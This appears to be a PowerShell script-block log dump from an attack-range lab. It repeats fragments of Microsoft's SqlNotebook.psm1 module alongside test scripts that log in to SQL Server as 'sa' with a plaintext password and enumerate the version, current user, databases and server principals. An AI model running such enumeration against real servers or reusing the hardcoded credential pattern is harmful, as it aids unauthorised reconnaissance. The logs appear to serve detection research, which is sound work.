$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
3e6c84c5-e305-4fae-aba3-f41a4ad03824C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0503795Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificateccf9c3cc-9d5a-4f52-be0c-51cece23c86d
4104152150x0503593Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diag2c778552-ba42-4d76-bb9c-db1f59c338c5C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0503587Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate88625315-9a55-4568-8ae1-06d0cdae4c97
4104152150x0503380Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificated5ba454c-8a6f-4576-bc00-08f08881ab51
4104152150x0503151Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate727760b6-5893-4b5a-a826-8fb06ee564ce
4104152150x0502949Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
aa038282-be0e-487b-af29-e0e94e14f993C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0502943Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificatefbca809a-ebc7-4245-ac96-88569d25717f
4104152150x0502736Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate8eeccb6b-d9f8-405b-94d9-7ce3d6bbd0a8
4104152150x0502535Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
